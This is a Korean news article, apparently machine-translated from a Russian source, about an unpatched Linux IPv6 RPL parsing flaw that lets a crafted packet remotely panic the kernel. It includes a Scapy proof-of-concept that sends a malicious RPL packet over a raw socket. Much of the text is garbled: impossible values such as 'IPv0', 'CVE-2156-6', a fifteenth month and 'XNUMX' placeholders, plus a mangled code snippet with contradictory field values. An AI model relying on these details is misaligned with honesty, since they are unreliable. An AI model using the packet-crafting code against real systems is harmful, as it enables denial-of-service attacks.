์›๊ฒฉ ์ปค๋„ ์ถฉ๋Œ์„ ํ—ˆ์šฉํ•˜๋Š” 0์ผ Linux IPv6 ์Šคํƒ ์ทจ์•ฝ์ 

ํŠน๋ณ„ํžˆ ์ œ์ž‘๋œ IPv0 ํŒจํ‚ท(์ฃฝ์Œ์˜ ํŒจํ‚ท)์„ ์ „์†กํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์ค‘์ง€ํ•  ์ˆ˜ ์žˆ๋Š” Linux ์ปค๋„์˜ ํŒจ์น˜๋˜์ง€ ์•Š์€(2023์ผ) ์ทจ์•ฝ์ (CVE-2156-6)์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ๊ณต๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” RPL ํ”„๋กœํ† ์ฝœ(Routing Protocol for Low-Power and Lossy Networks)์— ๋Œ€ํ•œ ์ง€์›์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋งŒ ๋‚˜ํƒ€๋‚˜๋ฉฐ, ์ด๋Š” ๋ฐฐํฌํŒ์—์„œ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ ํŒจํ‚ท ์†์‹ค์ด ๋†’์€ ๋ฌด์„  ๋„คํŠธ์›Œํฌ์—์„œ ์ž‘๋™ํ•˜๋Š” ์ž„๋ฒ ๋””๋“œ ์žฅ์น˜์— ์ฃผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ RPL ํ”„๋กœํ† ์ฝœ ๊ตฌ๋ฌธ ๋ถ„์„ ์ฝ”๋“œ์—์„œ ์™ธ๋ถ€ ๋ฐ์ดํ„ฐ๋ฅผ ์ž˜๋ชป ์ฒ˜๋ฆฌํ•˜์—ฌ ์–ด์„ค์…˜ ์‹คํŒจ ๋ฐ ์ปค๋„์ด ํŒจ๋‹‰ ์ƒํƒœ์— ๋น ์ง€๋Š” ๊ฒƒ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. IPv6 RPL ํŒจํ‚ท ํ—ค๋”๋ฅผ ํŒŒ์‹ฑํ•œ ๊ฒฐ๊ณผ ์–ป์€ ๋ฐ์ดํ„ฐ๋ฅผ k_buff(Socket Buffer) ๊ตฌ์กฐ์ฒด์— ๋„ฃ์„ ๋•Œ CmprI ํ•„๋“œ๊ฐ€ 15, Segleft ํ•„๋“œ๊ฐ€ 1, CmprE๊ฐ€ 0์ด๋ฉด 48 -byte ์ฃผ์†Œ ๋ฒกํ„ฐ๊ฐ€ 528๋ฐ”์ดํŠธ๋กœ ์••์ถ• ํ•ด์ œ๋˜์–ด ๋ฒ„ํผ์— ํ• ๋‹น๋œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๋ถ€์กฑํ•œ ์ƒํ™ฉ์ž…๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๋ฐ์ดํ„ฐ๋ฅผ ๊ตฌ์กฐ๋กœ ํ‘ธ์‹œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” skb_push ํ•จ์ˆ˜๋Š” ๋ฐ์ดํ„ฐ์™€ ๋ฒ„ํผ์˜ ๋ถˆ๊ท ํ˜•ํ•œ ํฌ๊ธฐ์— ๋Œ€ํ•œ ๊ฒ€์‚ฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ฒ„ํผ ๋ฎ์–ด์“ฐ๊ธฐ๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ํŒจ๋‹‰ ์ƒํƒœ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ ์˜ˆ: # Scapy๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ scapy.all์—์„œ ํŒจํ‚ท์„ ์ œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. import * import socket # LAN ์ธํ„ฐํŽ˜์ด์Šค์—์„œ IPv6๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ์†Œ์ผ“์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒจํ‚ท์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # ํŒจํ‚ท ์ž‘์„ฑ # Type = 3์€ ์ด๊ฒƒ์„ RPL ํŒจํ‚ท์œผ๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์••์ถ•๋œ ์ฃผ์†Œ๋กœ ์ทจ๊ธ‰ # Segleft = 3 ์ฆํญ ํŠธ๋ฆฌ๊ฑฐ # lastentry = 15xf1์€ CmprI๋ฅผ 0๋กœ, CmprE๋ฅผ 0์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. :", "a15::", "a0::"], segleft=6, lastentry=6xf3) # ์ด ์‚ฌ์•…ํ•œ ํŒจํ‚ท์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. sockfd.sendto(bytes(p), (DST_ADDR, 8))

์ปค๋„ ๊ฐœ๋ฐœ์ž๋Š” 2022๋…„ 15์›”์— ์ทจ์•ฝ์ ์„ ํ†ต๋ณด๋ฐ›์•˜๊ณ  ์ง€๋‚œ 2022๊ฐœ์›” ๋™์•ˆ 2022๋…„ 2023์›”, XNUMX๋…„ XNUMX์›”, XNUMX๋…„ XNUMX์›”์— ํŒจ์น˜๋ฅผ ๋ฆด๋ฆฌ์Šคํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๋ ค๊ณ  ์„ธ ๋ฒˆ ์‹œ๋„ํ–ˆ์ง€๋งŒ ๋งค๋ฒˆ ์ˆ˜์ •์ด ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ถฉ๋ถ„ํ•˜๊ณ  ์ทจ์•ฝ์ ์ด ์žฌํ˜„๋  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ถ๊ทน์ ์œผ๋กœ ์ทจ์•ฝ์  ์ œ๊ฑฐ ์ž‘์—…์„ ์กฐ์ •ํ•œ ZDI ํ”„๋กœ์ ํŠธ๋Š” ์ปค๋„์— ์ž‘๋™ํ•˜๋Š” ํŒจ์น˜๊ฐ€ ๋‚˜ํƒ€๋‚  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ์ง€ ์•Š๊ณ  ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ๊ณต๊ฐœํ•˜๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ทจ์•ฝ์ ์€ ์•„์ง ํŒจ์น˜๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. 6.4-rc2 ์ปค๋„์— ํฌํ•จ๋œ ํŒจ์น˜๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒƒ์€ ํšจ๊ณผ์ ์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์‹œ์Šคํ…œ์—์„œ RPL ํ”„๋กœํ† ์ฝœ์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์ง€ ์•Š์€์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ด๋Š” sysctl -a | grep -i rpl_seg_enabled

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€